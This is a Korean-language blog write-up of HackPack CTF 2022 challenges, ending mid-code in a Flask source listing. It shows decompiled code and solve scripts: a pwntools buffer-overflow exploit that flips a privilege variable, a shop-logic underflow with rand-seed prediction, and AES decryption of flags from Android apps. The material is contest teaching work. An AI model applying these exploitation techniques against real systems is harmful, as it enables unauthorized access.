5un9hun
5un9hun Have A Nice Day!

2022 HackPack CTF Write-Up

2022 HackPack CTF Write-Up

2022.04.08 ~ 2022.04.09 동안 열렸던 CTF이다. 큰 대회는 아니었지만 ScoreBoard 기준으로 229팀이 참가했던 대회였다. 시간은 적당히 투자했었고, 최종 34위로 마무리했다 ㅠㅠ.. (고수들이 많다 ㅂㄷㅂㄷ…)

Untitled

[Solved]

pwn

1. Terminal Overdrive (108 Solves)

Untitled

pwn 분야에서 Solve가 상당히 많았던 문제이다. Solve가 많았던 것만큼 문제는 상당히 Easy 했다.

다음은 해당 바이너리의 분석 코드이다. 총 2개의 함수가 있다.

main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  _QWORD s[3]; // [rsp+10h] [rbp-30h] BYREF
  char v4; // [rsp+28h] [rbp-18h]
  int v5; // [rsp+34h] [rbp-Ch]
  int v6; // [rsp+38h] [rbp-8h]
  unsigned int v7; // [rsp+3Ch] [rbp-4h]

  s[0] = 0LL;
  s[1] = 0LL;
  s[2] = 0LL;
  v4 = 0;
  puts("PACKShell v0.0.0.1.2.5l6.3\n");
  if ( argc <= 1 )
  {
    puts("Usage: packshell <MODE> (1 for PRIVILEGED, 0 for UNPRIVILEGED");
    exit(1);
  }
  v6 = atoi(argv[1]);
  if ( v6 )
  {
    if ( v6 == 1 )
      v7 = 1;
    else
      printf("Usage: packshell <MODE> (1 for privileged, 0 for unprivileged");
  }
  else
  {
    v7 = 0;
  }
  v5 = 0;
  while ( 1 )
  {
    printf("$ ");
    fflush(_bss_start);
    if ( (unsigned int)__isoc99_scanf("%[^\n]", s) != 1 )
      break;
    v5 = evaluate_statement(s, v7);
    if ( getc(stdin) == -1 )
      exit(-1);
    fflush(stdin);
    fflush(_bss_start);
    memset(s, 0, 0x19uLL);
  }
  getc(stdin);
  exit(-1);
}
evaluate_statement
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall evaluate_statement(const char *a1, int a2)
{
  int result; // eax
  char *command; // [rsp+18h] [rbp-18h]
  char *v4; // [rsp+28h] [rbp-8h]

  if ( !strcmp(a1, "ls") )
  {
    system("ls");
    result = 0;
  }
  else if ( !strcmp(a1, "pwd") )
  {
    system("pwd");
    result = 0;
  }
  else
  {
    v4 = strstr(a1, "cat");
    if ( v4 && a2 )
    {
      puts(v4 + 4);
      command = (char *)malloc(0x3CuLL);
      snprintf(command, 0x3CuLL, "cat %s", v4 + 4);
      result = system(command);
    }
    else
    {
      printf("Invalid command '%s', or attempt to execute a privileged command '%s' without permission.\n", a1, a1);
      result = 1;
    }
  }
  return result;
}


문제의 흐름을 간단하게 설명하면 바이너리를 실행할 때 인자로 1을 주면 privileged로 실행되고, 0으로 주면 unprivileged로 실행된다. 그리고 while문을 통해 명령어를 계속 입력받는데 그 처리가 이루어지는게 evaluate_statement 함수이다. evaluate_statement 함수에서는 “ls”, “pwd”, “cat” 명령어를 사용할 수 있으며 그 외에는 실행되지 않게 하였다. 또한 cat 명령어같은 경우 아까 인자로 받은 privileged가 0이 아니여야 한다.

명령어로 ls 를 입력해보면 다음 처럼 flag.txt 파일이 존재하고, cat 명령어로 열어보려고 하면 privileged가 0으로 설정되어있는지 열리지 않는다.

Untitled

먼저 취약점을 탐색해보면 다음에서 main:36 에서 scanf로 입력을 받을 때 Buffer Overflow가 발생한다.

1
if ( (unsigned int)__isoc99_scanf("%[^\n]", s) != 1 )

main 함수에서는 main함수 인자를 따로 변수에 담아서 evaluate_statement 함수로 보내기 때문에 BOF를 이용해서 인자로 보내려는 변수에 0이 아닌 수를 담아주고 evaluate_statement 함수가 실행되면 privileged 모드가 되므로 cat 명령어도 사용할 수 있게된다.

최종 페이로드

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote('cha.hackpack.club', 10991)

payload = b''
payload += b'A'*(0x30 - 0x4)
payload += b'A'

r.sendlineafter(b'$ ', payload)
r.sendlineafter(b'$ ', b'cat flag.txt')

r.interactive()

Untitled

rev

1. Shopkeeper 1, 2, 3 (188 Solves, 117 Solves, 60 Solves)

Untitled Untitled Untitled

이 문제들은 하나의 바이너리에서 3개의 flag를 얻을 수 있었다. 총 3단계로 이루어진 문제였는데 생각보다 쉬웠다.

먼저 서버에 접속하면 다음처럼 base64로 인코딩된 바이너리가 주어진다. 그리고 해당 바이너리를 실행해준 것 같다. base64 코드를 복사해서 파이썬으로 디코딩해서 바이너리를 획득할 수 있었다.

Untitled

바이너리를 열자마자 바로 flag가 보였다. 따라서 Shopkeeper 1의 flag를 획득할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char command[56]; // [rsp+0h] [rbp-40h] BYREF
  const char *v5; // [rsp+38h] [rbp-8h]

  strcpy(command, "base64 chal");
  system(command);
  v5 = "flag{b4s364_1s_s0_c3wl_wh0_kn3w_you_c0u1d_do_th15}";
  if ( (unsigned __int8)print_flag_1(command, argv) )
    print_flag_2();
  return 0;
}

Shopkeeper 2는 if문의 print_flag_1 함수로부터 시작된다.

Level1 함수를 통과하면 서버의 flag를 출력시켜주는 흐름이다. 그러면 Level1 함수를 분석해야한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 print_flag_1()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  char i; // [rsp+Fh] [rbp-1h]

  if ( !(unsigned __int8)Level1() )
    return 0LL;
  stream = fopen("flag-1.txt", "r");
  if ( !stream )
  {
    puts("Cannot open file ");
    fflush(stdout);
    exit(0);
  }
  for ( i = fgetc(stream); i != -1; i = fgetc(stream) )
    putchar(i);
  fclose(stream);
  putchar(10);
  fflush(stdout);
  return 1LL;
}

Level1 함수는 다음과 같다.

Level1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
__int64 Level1()
{
  int v1[2]; // [rsp+8h] [rbp-68h]
  __int64 v2[2]; // [rsp+10h] [rbp-60h]
  int v3[3]; // [rsp+24h] [rbp-4Ch]
  __int64 v4[4]; // [rsp+30h] [rbp-40h]
  unsigned int v5; // [rsp+50h] [rbp-20h]
  unsigned int v6; // [rsp+54h] [rbp-1Ch]
  unsigned int v7; // [rsp+58h] [rbp-18h]
  int v8; // [rsp+5Ch] [rbp-14h]
  int v9; // [rsp+60h] [rbp-10h]
  int v10; // [rsp+64h] [rbp-Ch]
  int v11; // [rsp+68h] [rbp-8h]
  char v12; // [rsp+6Eh] [rbp-2h]
  char v13; // [rsp+6Fh] [rbp-1h]

  fwrite("Welcome to my Shop!\nWhat would you like to do?\n", 1uLL, 0x2FuLL, stdout);
  fflush(stdout);
  v13 = 1;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  while ( v13 )
  {
    fwrite("1) Buy\n2) Sell\n3) View Your Inventory\n4) Leave Shop\n", 1uLL, 0x34uLL, stdout);
    fflush(stdout);
    v12 = getchar();
    getchar();
    if ( v12 == 50 )
    {
      fwrite("What would you like to sell?\n", 1uLL, 0x1DuLL, stdout);
      fwrite("1) An Apple (1 coins)\n2) An Orange (3 coins)\n", 1uLL, 0x2DuLL, stdout);
      fflush(stdout);
      v9 = getchar() - 49;
      getchar();
      v2[0] = (__int64)"Apples";
      v2[1] = (__int64)"Oranges";
      v1[0] = 1;
      v1[1] = 3;
      if ( v9 < 0 || v9 > 1 )
      {
        fprintf(stdout, "%c is not a valid option\n", (unsigned int)(v9 + 49));
        fflush(stdout);
      }
      else
      {
        fprintf(stdout, "How many %s would you like to sell?\n", (const char *)v2[v9]);
        fflush(stdout);
        v8 = getchar() - 48;
        getchar();
        if ( v8 <= (int)*(&v5 + v9) )
        {
          coins += v8 * v1[v9];
          *(&v5 + v9) -= v8;
        }
        else
        {
          fprintf(stdout, "You don't have enough %s :(\n", (const char *)v2[v9]);
          fflush(stdout);
        }
      }
    }
    else if ( v12 > 50 )
    {
      if ( v12 == 51 )
      {
        fprintf(stdout, "You have %d gold coins!\n", (unsigned __int8)coins);
        fprintf(stdout, "You have %d Apples!\n", v5);
        fprintf(stdout, "You have %d Oranges!\n", v6);
        fprintf(stdout, "You have %d Keys to the Flag!\n", v7);
        fflush(stdout);
        if ( (int)v7 > 0 )
        {
          fwrite("Congrats!! You have the key!\n", 1uLL, 0x1DuLL, stdout);
          fflush(stdout);
          return 1LL;
        }
      }
      else
      {
        if ( v12 != 52 )
          goto LABEL_26;
        fwrite("Goodbye then!\n", 1uLL, 0xEuLL, stdout);
        fflush(stdout);
        v13 = 0;
      }
    }
    else
    {
      if ( v12 == -1 )
        exit(1);
      if ( v12 == 49 )
      {
        fwrite("What would you like to buy?\n", 1uLL, 0x1CuLL, stdout);
        fwrite(
          "1) An Apple (2 coins)\n2) An Orange (6 coins)\n3) The Key to the Flag (100 coins)\n",
          1uLL,
          0x50uLL,
          stdout);
        fflush(stdout);
        v11 = getchar() - 49;
        getchar();
        v4[0] = (__int64)"Apples";
        v4[1] = (__int64)"Oranges";
        v4[2] = (__int64)"Keys to the Flag";
        v3[0] = 2;
        v3[1] = 6;
        v3[2] = 100;
        if ( v11 < 0 || v11 > 2 )
        {
          fprintf(stdout, "%c is not a valid option\n", (unsigned int)(v11 + 49));
          fflush(stdout);
        }
        else
        {
          fprintf(stdout, "How many %s would you like to buy?\n", (const char *)v4[v11]);
          fflush(stdout);
          v10 = getchar() - 48;
          getchar();
          if ( (unsigned __int8)coins >= v10 * v3[v11] )
          {
            coins -= v10 * v3[v11];
            *(&v5 + v11) += v10;
          }
          else
          {
            fwrite("You don't have enough money :(\n", 1uLL, 0x1FuLL, stdout);
            fflush(stdout);
          }
        }
      }
      else
      {
LABEL_26:
        fwrite("Do you really think this would be so easy to hack?\n", 1uLL, 0x33uLL, stdout);
        fflush(stdout);
      }
    }
  }
  return 0LL;
}


코드가 너무 길어서 핵심 내용만 요약한다.

메뉴의 종류가 4가지 있는데 1번째는 Buy, 2번째는 Sell, 3번째는 View Your Inventory, 4번째는 Leave Shop이다. Level1 같은 경우에는 1번메뉴에서 flag를 구입하여 3번 메뉴인 View Your Inventory로 들어가면 flag를 얻을 수 있다. 하지만 이 flag를 사려면 돈이 있어야하는데 내 모든 물품을 팔아도 flag를 살 수 없다. 그래서 Sell 메뉴에서 돈을 조작해야한다.

돈을 조작하는데 핵심 코드는 다음이다. Sell 메뉴의 코드인데, 물품 선택과 수량 선택을 getchar() 함수로 입력받아서 물품은 “1” 아스키코드에 맞는 숫자를 뺀 값이 인덱스로 결정된다. 수량은 “0” 아스키코드에 맞는 숫자를 뺀 값이 수량으로 결정된다.

물품의 인덱스 검사는 진행하지만, 현재 가지고 있는 물품의 검사 제한이 없어서 수량을 바로 입력할 수 있고, 수량은 인덱스 v8 <= (int)*(&v5 + v9) 를 통해 검사 범위가 하나밖에 존재하지 않는다.

만약 수량을 입력하는데 물품은 apple(1)로 정하고, getchar에 “!” 를 입력하게되면 33(!) - 48(0) = - 15가 되어서 조건을 무조건 통과하게 되고, coin은 -15 * 1 (apple의 가격)만큼 증가하는데 coin이 char형이라서 0x0~ 0xff까지의 값만 가져온다. -15 = 0xfffffffffffffff1 이기 때문에 coin = 0xf1이 된다. 따라서 0xf1 = 241이기 때문에 기존에 가지고 있던 10코인에 더해서 251코인이 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
if ( v12 == 50 )
    {
      fwrite("What would you like to sell?\n", 1uLL, 0x1DuLL, stdout);
      fwrite("1) An Apple (1 coins)\n2) An Orange (3 coins)\n", 1uLL, 0x2DuLL, stdout);
      fflush(stdout);
      v9 = getchar() - 49;
      getchar();
      v2[0] = (__int64)"Apples";
      v2[1] = (__int64)"Oranges";
      v1[0] = 1;
      v1[1] = 3;
      if ( v9 < 0 || v9 > 1 )
      {
        fprintf(stdout, "%c is not a valid option\n", (unsigned int)(v9 + 49));
        fflush(stdout);
      }
      else
      {
        fprintf(stdout, "How many %s would you like to sell?\n", (const char *)v2[v9]);
        fflush(stdout);
        v8 = getchar() - 48;
        getchar();
        if ( v8 <= (int)*(&v5 + v9) )
        {
          coins += v8 * v1[v9];
          *(&v5 + v9) -= v8;
        }
        else
        {
          fprintf(stdout, "You don't have enough %s :(\n", (const char *)v2[v9]);
          fflush(stdout);
        }
      }
    }

flag는 100코인이기 때문에 flag를 구입하여 3번 메뉴로 이동하면 플래그를 획득할 수 있다.

print_flag_1 함수를 통과하면 바로 print_flag_2 함수가 호출된다.

1
2
if ( (unsigned __int8)print_flag_1() )
    print_flag_2(command, argv);

이 역시 마찬가지로 Level2 함수를 통과하면 flag를 출력시켜준다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 print_flag_2()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  char i; // [rsp+Fh] [rbp-1h]

  if ( !(unsigned __int8)Level2() )
    return 0LL;
  stream = fopen("flag-2.txt", "r");
  if ( !stream )
  {
    puts("Cannot open file ");
    fflush(stdout);
    exit(0);
  }
  for ( i = fgetc(stream); i != -1; i = fgetc(stream) )
    putchar(i);
  fclose(stream);
  putchar(10);
  fflush(stdout);
  return 1LL;
}

Level2 함수는 다음과 같다.

Level2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 Level2()
{
  __int64 result; // rax
  int v1; // eax
  char v2; // [rsp+6h] [rbp-Ah]
  char v3; // [rsp+7h] [rbp-9h]
  char v4; // [rsp+7h] [rbp-9h]
  time_t seed; // [rsp+8h] [rbp-8h]

  if ( coins == 19 )
  {
    seed = time(0LL);
    fprintf(stdout, "Time: %zu\n", seed);
    srand(seed);
    while ( coins != 55 )
    {
      fwrite("How much money do you want to bet?\n", 1uLL, 0x23uLL, stdout);
      fflush(stdout);
      v3 = getchar();
      if ( v3 < 0 || (v4 = v3 - 48, v4 > (int)(unsigned __int8)coins) || v4 < 0 )
      {
        fwrite("Don't try cheating!\n", 1uLL, 0x14uLL, stdout);
        fflush(stdout);
        return 0LL;
      }
      fwrite("What is the value? (0-9)\n", 1uLL, 0x19uLL, stdout);
      fflush(stdout);
      v2 = getchar() - 48;
      v1 = rand();
      if ( v1 % 10 == v2 )
      {
        fwrite("Correct!\n", 1uLL, 9uLL, stdout);
        fflush(stdout);
        coins += v4;
      }
      else
      {
        fprintf(stdout, "Correct Value was: %d\n", (unsigned int)(v1 % 10));
        fflush(stdout);
      }
    }
    result = 1LL;
  }
  else
  {
    fwrite("You didn't start all over again!\n", 1uLL, 0x21uLL, stdout);
    fflush(stdout);
    result = 0LL;
  }
  return result;
}


이 함수에 들어오자마자 코인이 19개인지 검사하고 아니면 종료시킨다. 따라서 Level1 에서 3번 메뉴로 들어가기전에 코인을 19개로 맞춰줘야 Level2를 시작할 수 있다.

. . .

코인을 19개로 맞추어주었으면 Level2가 진행된다.

처음에 time함수의 값을 출력시켜주고, 이 값을 srand 함수의 시드로 사용한다. 그리고 돈을 배팅하여 rand % 10의 수를 예측해서 맞추어야 코인을 얻을 수 있다. 총 55코인이 되어야 flag를 획득할 수 있다. 55 - 19 = 36이기 때문에 나는 나누기 편하게 9 coin * 4 번으로 진행했다.

먼저 rand % 10을 예측하기에는 매우 쉽다. 시드를 알려주었기 때문에 파이썬이나 C언어를 이용해 같은 시드를 설정하면 rand 값을 다 알 수 있기 때문이다.

여기도 아까 getchar 함수 방식대로 아스키값을 넣어줘서 값을 전달한다.

다음은 최종 페이로드이다.

최종 페이로드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from ctypes import *
from pwn import *

r = remote('cha.hackpack.club', 10992)

libc = cdll.LoadLibrary("libc.so.6") 

#sell
r.sendline(b'\x32')
r.sendline(b'\x31')
r.sendline(b'\x21')

#buy
r.sendline(b'\x31')
r.sendline(b'\x33')
r.sendline(b'\x32')

r.sendline(b'\x31')
r.sendline(b'\x32')
r.sendline(b'\x35')

r.sendline(b'\x31')
r.sendline(b'\x31')
r.sendline(b'\x31')

#flag
r.sendline(b'\x33')
r.recvuntil(b'key!\n')
flag1 = r.recvline()[:-1].decode()

#flag2
r.recvuntil(b'Time: ')
time = int((r.recvuntil(b'\n')[:-1]).decode())

libc.srand(time)

for i in range(4):
	v = libc.rand() % 10
	r.sendafter(b'bet?\n', b'\x39')
	r.sendafter(b'(0-9)\n', p8(v+0x30))

r.recvuntil(b'Correct!\n')
flag2 = r.recvline()[:-1].decode()

print(flag1)
print(flag2)

Untitled

2. Self-Hosted Crypto (70 Solves)

Untitled

이 문제는 내 리버싱 실력이 부족함과 동시에 조금 쫄아서 시간이 걸렸다.

바이너리와 바이너리를 통해 나온 결과물이 첨부되어있었다.

바이너리를 열어보았더니 난생 처음본 함수들이 존재했다. runtime~ 함수 .. os~ 함수 …

Untitled

검색해보았더니 Go언어로 컴파일된 바이너리라는 것을 알 수 있었다. 솔직히 이걸 언제 다 분석하지라는 생각에 아찔했다.

다음은 main 함수이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __cdecl main_main()
{
  __int64 v0; // rdi
  __int64 v1; // rsi
  __int64 v2; // r14
  __int64 v3; // rbx
  __int64 v4; // rax
  int v5; // edx
  int v6; // ecx
  int v7; // er8
  __int64 v8; // r9
  __int64 v9; // rax
  int v10; // er9
  __int64 v11; // rcx
  __int64 i; // rbx
  __int64 v13; // [rsp-30h] [rbp-48h]
  __int64 v14; // [rsp-30h] [rbp-48h]
  __int64 v15; // [rsp-28h] [rbp-40h]
  __int64 v16; // [rsp-20h] [rbp-38h]
  __int64 v17; // [rsp+8h] [rbp-10h]
  void *retaddr; // [rsp+18h] [rbp+0h] BYREF

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v2 + 16) )
    runtime_morestack_noctxt_abi0();
  if ( (unsigned __int64)qword_4E6AD8 <= 1 )
LABEL_9:
    runtime_panicIndex(v0, v1);
  v3 = *(_QWORD *)(os_Args + 24);
  v4 = os_ReadFile(v0, v1);
  if ( v0 )
  {
    v0 = *(_QWORD *)(v0 + 8);
    runtime_gopanic(v0, v1, v5, v6, v7, v8, v13);
    goto LABEL_9;
  }
  v17 = v4;
  v9 = runtime_makeslice(0, v1, v5, v3, v7, v8, v13);
  v11 = v3;
  for ( i = 0LL; v11 > i; ++i )
  {
    v10 = *(unsigned __int8 *)(v17 + i) + 13;
    *(_BYTE *)(v9 + i) = v10;
  }
  os_WriteFile(v11, v11, v17, v9, 420, v10, v14, v15, v16);
}

멘탈 붕괴에 빠져 침대로 가서 생각하던 도중 잠이 들었고, 일어나보니까 갑자기 풀 수 있을거 같았다.

os_ReadFile 함수는 바이너리의 인자로 받는 파일을 읽는 용도이고, runtime_gopanic 같은 경우 파일 읽기에 실패했을 때를 대비한 오류처리같다. runtime_makeslice는 값을 형식에 맞는 버퍼로 옮겨주는 용도로 생각했다. 그리고 for문을 거쳐서 나온 결과물을 os_WriteFile 함수로 파일을 생성해준다.

사실상 암호화 로직은 엄청 간단하다. 그냥 for문만 살펴보면 됐다..

암호화된 값은 각 자리의 아스키코드 + 13 으로 그냥 Caesar Cipher(시저 암호)와 같은 로직이다. ㅋㅋㅋㅋㅋㅋ

처음에 많은 함수에 겁먹었기 때문에 for문을 못보고 지나쳐서 오래걸렸던 것 같다… 사실 엄~~~청 쉬운 문제인데 말이다.

최종 페이로드

1
2
3
4
5
6
7
8
a = ""

with open('encrypted', 'rb') as f:
    a = f.read()

for i in a:
    print(chr(i - 13), end='')
print()

Untitled

3. 3T PHONE3 HOM3 (122 Solves)

Untitled

이 문제는 제가 좋아하는 Android 리버싱 문제입니다 ㅎㅎ

안드로이드에서 숨은 flag를 찾는 문제같네요.

안드로이드 어플을 먼저 디컴파일 시키고 MainActivity로 이동하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.hackpack.p002et;

import android.os.Bundle;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;

/* renamed from: com.hackpack.et.MainActivity */
public class MainActivity extends AppCompatActivity {
    @Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.fragment.app.FragmentActivity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        C0969te J = new C0969te();
        if (C0950se.m5033a(this) < 1) {
            Toast.makeText(this, "Security Failure Captured", 1).show();
            finishAffinity();
        }
        String s1 = "red" + "her" + "ring";
        J.mo5548d(s1, s1);
        Toast.makeText(this, "Security Initialized", 1).show();
    }
}

MainActivity 에서는 별다른 내용은 없고, J.mo5548d만 있네요. 함수로 이동하면 AES암호화가 진행하는 것 같은데, flag일 것 같지는 않습니다. String s1을 보면 red herring으로 “가짜 단서”임을 알려주고 있네요 ㅋㅋ

다른 곳에서 단서를 찾아봅시다. 문제에서 Resourceful 이라는 단어를 굳이 왜 적어주었을까라는 생각을 했고, 안드로이드 Resource를 뒤적여봤습니다.

아니나 다를까, strings.xml 파일에 flag가 있었습니다.

Untitled

Untitled

4. 3T 3ND UR HOM3 (22 Solves)

Untitled

이 문제도 재미있는 Android 리버싱 문제입니다.

역시나 안드로이드 파일을 디컴파일해서 MainActivity 부터 분석했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.hackpack.p002et;

import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

/* renamed from: com.hackpack.et.MainActivity */
public class MainActivity extends ActivityC0444e0 {

    /* renamed from: a */
    public EditText f2188a;

    public void getInput(View view) {
        String str;
        String string = getResources().getString(R.string.j);
        getResources().getString(R.string.i);
        if (this.f2188a.getText().toString().equals(new C0943qg().mo4915c(C0886pg.m4403b().replaceAll("[^\\d]", "").substring(0, 15), string))) {
            str = "Invasion Date Verified.\n Welcome, Zreck.";
        } else {
            Toast.makeText(this, "You have been scanned. Human is not in the aliens file.", 1).show();
            str = "This incident will be reported.";
        }
        Toast.makeText(this, str, 1).show();
    }

    @Override // androidx.activity.ComponentActivity, p000.ActivityC0902q5, p000.ActivityC1148y2
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        this.f2188a = (EditText) findViewById(R.id.editText);
        C0943qg qgVar = new C0943qg();
        int a = C0886pg.m4402a(this);
        String string = getResources().getString(R.string.j);
        String string2 = getResources().getString(R.string.i);
        if (a < 1) {
            Toast.makeText(this, "Security Check Failed", 1).show();
            finishAffinity();
        }
        qgVar.mo4915c(string2, string);
        Toast.makeText(this, "Security Initialized", 1).show();
    }
}

OnCreate 메소드에서는 전처럼 그냥 가짜 단서같았고, getInput 메소드를 분석했다.

getResource 메소드를 이용해 strings.xml 파일에서 j의 값을 가져오는 것을 알 수 있다.

그리고 EditText의 입력값과 새로운 객체의 값과 비교해서 맞으면 통과된다. 이 객체를 살펴보면 AES복호화이며, 인자로 Key값과 암호화된 값을 넣어주는 것 같다.

즉, EditText의 입력값은 flag이며 복호화한것과 비교해서 통과시키는 것 같다. 그렇기 때문에 AES 함수의 인자에서 어느 하나는 flag의 암호화된 값같다.

그러면 다음 구문만 분석하면 게임 끝

1
new C0943qg().mo4915c(C0886pg.m4403b().replaceAll("[^\\d]", "").substring(0, 15), string)

AES 함수는

1
C0943qg().mo4915c( ... )

인자는

1
2
3
1 : C0886pg.m4403b().replaceAll("[^\\d]", "").substring(0, 15)

2 : string ==  getResources().getString(R.string.j)

먼저 strings.xml 에서 j의 값을 확인한다.

Untitled

오호… base64라… 이거는 직감적으로 100% 암호화된 flag값이라고 생각했다.

그러면 AES함수의 2번째 인자는 암호화된 값이고, 1번째 값은 key값일 것이다.

1번째 값을 분석해보자. m4403b 함수는 다음과 같다.

R.mipmap의 nggyu라는 리소스의 번호를 String변수에 담고, MD5의 MessageDigest를 생성하고, 아까 리소스 번호값을 통해 update시켜준다. 그리고 16진수로 그 값을 받아와서 32바이트가될 때까지 0을 붙여준다(패딩).

결국은 key값 생성이죠?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static String m4403b() {
        MessageDigest messageDigest;
        String valueOf = String.valueOf((int) R.mipmap.nggyu);
        try {
            messageDigest = MessageDigest.getInstance("MD5");
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
            messageDigest = null;
        }
        messageDigest.update(valueOf.getBytes(), 0, valueOf.length());
        String bigInteger = new BigInteger(1, messageDigest.digest()).toString(16);
        while (bigInteger.length() < 32) {
            bigInteger = "0" + bigInteger;
        }
        return bigInteger;
    }

그리고 그 32바이트 String을 리턴받는데, 아까 그 리턴받은 값을

replaceAll(“[^\d]”, “”).substring(0, 15)

replaceAll을 통해 정규표현식에 맞게 바꿔주고 substring을 통해 길이를 15바이트로 바꾸어줍니다.

이 값이 key가 되겠네요!

R.mipmap.nggyu 의 리소스 번호는 다음과 같습니다.

1
public static final int nggyu = 2131558403;

R.mipmap.nggyu의 정체...

R.mipmap.nggyu의 정체…

여기서 사용된 AES 암호화는 AES/ECB/PKCS5Padding 방식을 이용하군요. 따라서 저는 이 운용방식에 맞게 암호화를 설정해주었고, 최종 페이로드는 다음과 같습니다.

암호화 코드 및 base64 코드 등은 해당 안드로이드 파일에 있는 그대로 사용했습니다.

최종 페이로드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public class Main {

		public static void main(String[] args) {
	
			MessageDigest m = MessageDigest.getInstance("MD5");
			String v = "2131558403";
			m.update(v.getBytes(), 0, v.length());
			String b = new BigInteger(1, m.digest()).toString(16);
			while(b.length() < 32) {
				b = "0" + b;
			}
		
			String k = b.replaceAll("[^\\d]", "").substring(0, 15);
			String e = "yhkO4KngYmdADJ/VWZDQoQ==";
			byte[] key = k.getBytes("UTF-8");
			byte[] flag_enc = Base64.getDecoder().decode(e);
			System.out.println("key = " + k);
			System.out.println("enc = " + k);
			System.out.println("flag = " + new String(decrypt(key, flag_enc)));
		}
		
		public final static byte[] decrypt(byte[] key, byte[] v) {
			try {
				String str = new String(key);
				bn(str.toLowerCase(Locale.ROOT), str);
				SecretKeySpec s = new SecretKeySpec(Arrays.copyOf(key, 16), "AES");
				Cipher i = Cipher.getInstance("AES/ECB/PKCS5Padding");
				i.init(Cipher.DECRYPT_MODE, s);
				return i.doFinal(v); 
			} catch(Exception e) {
				e.printStackTrace();
				return new byte[] {1, 2};
			}
		}
		
		public static final byte[] encrypt(byte[] key, byte[] v) {
			try {	
				SecretKeySpec s = new SecretKeySpec(key, "AES");
				Arrays.copyOf(key, 16);
				Cipher i = Cipher.getInstance("AES/ECB/PKCS5Padding");
				i.init(Cipher.ENCRYPT_MODE, s);
				return i.doFinal(v);
			} catch(Exception e) {
				return new byte[] {6, 9};
			}
		}
		
		public static String ns(String str, String str2) {
			try {
				return new String(decrypt(str.getBytes(), Base64.getDecoder().decode(str2)));
			} catch(Exception e) {
				e.printStackTrace();
				return str2;
			}
		}
		
		public static String bn(String str, String str2) {
			try {
				return Base64.getEncoder().encodeToString(encrypt(str.getBytes(StandardCharsets.UTF_8), str2.getBytes()));
			} catch(Exception e) {
				e.printStackTrace();
				return "fail";
			}
		}
}

Untitled

web

1. Imported Kimchi 1, 2 (71 Solves, 67 Solves)

Untitled Untitled

0점짜리는 원래 500점이였는데 언인텐인지 문제 오류가 발생했는지 0점으로 만들고 2를 새로 내왔다. 결론적으로 서로 같은 문제이다. 내 페이로드는 1이랑 2 모두 익스플로잇 된 것을 확인했다.

. . .

먼저 소스 코드를 살펴보았다. 서버는 파이썬 flask 서버이다.

app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import uuid
from flask import *
from flask_bootstrap import Bootstrap
import pickle
import os

app = Flask(__name__)
Bootstrap(app)

app.secret_key = 'sup3r s3cr3t k3y'

ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])

images = set()
images.add('bibimbap.jpg')
images.add('galbi.jpg')
images.add('pickled_kimchi.jpg')

@app.route('/')
def index():
    return render_template("index.html", images=images)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        image = request.files["image"]
        if image and image.filename.split(".")[-1].lower() in ALLOWED_EXTENSIONS:
            # special file names are fun!
            extension = "." + image.filename.split(".")[-1].lower()
